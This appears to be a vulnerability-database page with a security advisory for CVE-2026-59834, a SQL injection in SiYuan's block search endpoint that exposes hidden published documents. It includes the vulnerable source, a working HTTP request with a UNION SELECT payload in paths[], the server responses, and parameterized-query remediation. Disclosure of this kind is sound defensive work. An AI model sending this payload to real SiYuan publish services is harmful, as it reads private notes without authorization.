CVE-2026-59834High· 7.5▾ TwilightSiYuan: SQL Query in Block Search Exposes Hidden Published Document Content
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 2.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.5%
Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.
The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
Source: input/siyuan/kernel/api/search.go
paths[] is parsed into notebook IDs and paths without SQL escaping or validation:
path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
paths = append(paths, path)
}
Source: input/siyuan/kernel/api/search.go
Those values are then concatenated directly into SQL:
builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))
Source: input/siyuan/kernel/model/search.go
Regexp search executes the resulting statement:
stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)
Source: input/siyuan/kernel/model/search.go
The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:
for _, block := range blocks {
passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
}
Source: input/siyuan/kernel/model/publish_access.go
paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.box and path.POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}
VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.
Setup:
b3log/siyuan:latest with an isolated temporary workspace.public apple marker.SECRET-LIVE-SQLI-20260609 apple marker.POST /api/filetree/setPublishAccess.POST /api/setting/setPublish.Control request through the publish service for the hidden marker returned no blocks:
{
"code": 0,
"msg": "",
"data": {
"blocks": [],
"docMode": false,
"matchedBlockCount": 1,
"matchedRootCount": 1,
"pageCount": 1
}
}
The injected request through the publish service returned the hidden block:
{
"code": 0,
"msg": "",
"data": {
"blocks": [
{
"box": "20260609095146-19hud1e",
"path": "/20260609095209-1ljs6o7.sy",
"hPath": "/HiddenDoc",
"id": "20260609095209-gttlrue",
"rootID": "20260609095209-yaz7i3h",
"parentID": "20260609095209-yaz7i3h",
"content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
"markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
"type": "NodeParagraph"
}
],
"docMode": false,
"matchedBlockCount": 0,
"matchedRootCount": 0,
"pageCount": 0
}
}
The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.
An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.
Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:
box = ?
path LIKE ?
Then pass the user-controlled notebook ID and path prefix as query arguments.
Additional hardening:
.sy path format.paths[] contains SQL metacharacters such as ', ), UNION, and --.github.com/siyuan-note/siyuan/kernel < 0.0.0-20260704035518-d0f0fe146fb0Upgrade to a patched release:
github.com/siyuan-note/siyuan/kernel 0.0.0-20260704035518-d0f0fe146fb0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-72811Critical· 10.0SiYuan: SQL injection in backlink/mention search via unescaped stored and client input (publish mode): first-order (client keyword) and second-order (stored document title) breakout on read-write handle
CVE-2026-72807High· 8.0SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel
CVE-2026-59832High· 7.7Siyuan: Authenticated path traversal in /snippets/ static handler (serveSnippets) leaks conf/conf.json secrets and siyuan.db
GHSA-24r3-p3x6-cqvxCritical· 9.6Duplicate Advisory: SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
CVE-2026-56397MediumSiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
GHSA-g64v-qqpg-v37hCritical· 8.6Duplicate Advisory: Anonymous publish-password authentication bypass via getHeadingChildrenDOM / getHeading*Transaction / getBacklinkDoc (publish mode)